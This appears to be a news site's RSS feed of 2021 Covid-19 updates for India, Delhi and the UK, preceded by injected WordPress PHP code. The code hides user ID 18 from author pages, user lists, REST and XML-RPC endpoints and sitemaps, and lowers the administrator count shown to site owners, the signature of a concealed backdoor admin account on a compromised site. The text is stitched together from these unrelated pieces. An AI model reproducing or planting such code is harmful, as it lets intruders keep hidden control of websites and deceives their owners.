add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Kerala announces 7,427 new cases and 62 deaths today, bringing India’s vaccine coverage to 106 crore doses appeared first on The Edge Media.
]]>
India reported 13,198 recoveries as of Friday, compared to 14,348 new cases. If this trend continues over the following few weeks, it could signal the start of a new pandemic wave in the country.
The post Kerala announces 7,427 new cases and 62 deaths today, bringing India’s vaccine coverage to 106 crore doses appeared first on The Edge Media.
]]>The post In India, 33,376 new Covid cases have been reported, including 308 deaths appeared first on The Edge Media.
]]>With this increase, the total number of current Covid cases in the country has risen to 3,915,516. The number of active cases is 1.18 percent of the overall number of cases. The current weekly positivity rate is 2.26 percent, and it has been less than 3% for the past 78 days. The daily positivity rate, which is currently at 2.10 percent, has been below 3% for the past 12 days.
The post In India, 33,376 new Covid cases have been reported, including 308 deaths appeared first on The Edge Media.
]]>The post Covid Update: In India, 42,909 Cases Have Been Reported, Including 380 Deaths in the Last 24 Hours appeared first on The Edge Media.
]]>
According to the Union Health Ministry, active cases account for 1.15 percent of total cases, with a national COVID-19 recovery rate of 97.51 percent. The current daily positive rate is 3.02 percent. So far, 63.43 crore vaccine doses have been given out as part of the nationwide vaccination campaign.
The post Covid Update: In India, 42,909 Cases Have Been Reported, Including 380 Deaths in the Last 24 Hours appeared first on The Edge Media.
]]>The post Delhi government lifts deadline for shops appeared first on The Edge Media.
]]>The relaxation, which will come into force from Monday, will apply to all shops, including those in shopping complexes and malls. Also, restaurants in the city can now stay open beyond 10 pm.
Announcing the decision, Chief Minister Arvind Kejriwal said, “Till now, markets in Delhi had permission to stay open till 8 pm. As the number of Covid cases have dropped, this restriction is being lifted.”
The Chief Minister’s announcement came as Delhi reported 19 new Covid cases today and zero deaths with a positivity rate of 0.03 per cent. The number of active cases in the national capital now stands at 430.
During the second wave of Covid infections that struck in April-May this year, Delhi witnessed horrifying scenes of people scrambling for hospital beds and oxygen cylinders. The city had then recorded a single-day high of 28,395 cases and its positivity rate had crossed the 35 per cent mark.
To bring the situation under control, strict curbs had been put in place and all shops, except those dealing in essential items, were ordered to shut. This came as a double blow to shopowners already reeling under the impact of last year’s nationwide lockdown.
In June, when the city was recording about 200 cases daily, the Delhi government allowed shops and restaurants to open between 10 am and 8 pm.
The post Delhi government lifts deadline for shops appeared first on The Edge Media.
]]>The post In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths appeared first on The Edge Media.
]]>The number of active cases in India has decreased to 3,67,415. According to a statement from the Ministry of Health, active cases account for 1.14 percent of overall cases, the lowest level since March 2020.
India’s recovery rate, on the other hand, is currently at 97.52 percent, the highest since March 2020. Meanwhile, the Covid-19 immunization coverage has surpassed the 56-crore mark.
The post In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths appeared first on The Edge Media.
]]>The post From September 1, the Rajasthan government will enable schools from grades 9 to 12 appeared first on The Edge Media.
]]>For the first time in India, new Covid-19 cases surpassed 40,000 after only six days. In the last 24 hours, India reported 41,195 new Coronavirus infections, bringing the total number of Covid-19 cases to 3,20,77,706. With the new instances, the total number of active cases in the country has risen to 3,87,987, according to figures released by the Union Health Ministry on Thursday. With 490 new deaths, the death toll now stands at 4,29,669 people.
The post From September 1, the Rajasthan government will enable schools from grades 9 to 12 appeared first on The Edge Media.
]]>The post WHO Chief Scientist Warns Against The Next 6 Months appeared first on The Edge Media.
]]>Adults and children had resistance in 65 percent of cases, as per the ICMR’s serosurvey, and according to Dr. Swaminathan. However, these results show that kids have been minimally impacted by Covid.
The post WHO Chief Scientist Warns Against The Next 6 Months appeared first on The Edge Media.
]]>The post India Witnesses 2,000 Covid Cases in One Day appeared first on The Edge Media.
]]>Following the latest statement from the Ministry of Health and Family Welfare, India’s Covid-19 rate of infection is now 4,14,159, or 1.29 percent of the overall cases. It is currently 2.72 percent. Since the previous 11 days, this has stayed below 3%.
Since the epidemic reached India, 47,65,33,650 tests have been screened for the virus, according to the Indian Council of Medical Research (ICMR). Friday’s exams included 16,40,287.
The post India Witnesses 2,000 Covid Cases in One Day appeared first on The Edge Media.
]]>The post India Reports 41,506 Cases In Last 24 Hours appeared first on The Edge Media.
]]>Above 41,000 patients have recovered in the previous 24 hours, bringing the overall number of recoveries to over 2.99 crore. Several states have relaxed travel and public activity prohibitions as Covid cases began to diminish in the previous two months, marking the end of the fatal second wave.
The post India Reports 41,506 Cases In Last 24 Hours appeared first on The Edge Media.
]]>The post “Things will get worse before they get better”, warns AMRC appeared first on The Edge Media.
]]>AMRC said the National Health Service (NHS) is currently under unprecedented pressure for a combination of reasons, not all of which are yet clear. “People who stayed away from the NHS during the pandemic are now coming forward, some of them with more serious problems because of the delay in seeking help,” they added.
On Friday, the UK reported more than 35,000 infections, the highest in over five months. On average, it has been recording about 410 cases per million people over the past week, one the highest cases in the world per capita. Meanwhile, Prime Minister Boris Johnson has branded the July 19 reopening as “Freedom Day” but experts are worried about the message.
Prof Helen Stokes-Lampard, chair of AMRC, told BBC Radio 4’s Today programme that “there seems to be a misapprehension that life will return to normal from then [July 19], and that we can throw away all the precautions, and frankly, that would be dangerous.
The post “Things will get worse before they get better”, warns AMRC appeared first on The Edge Media.
]]>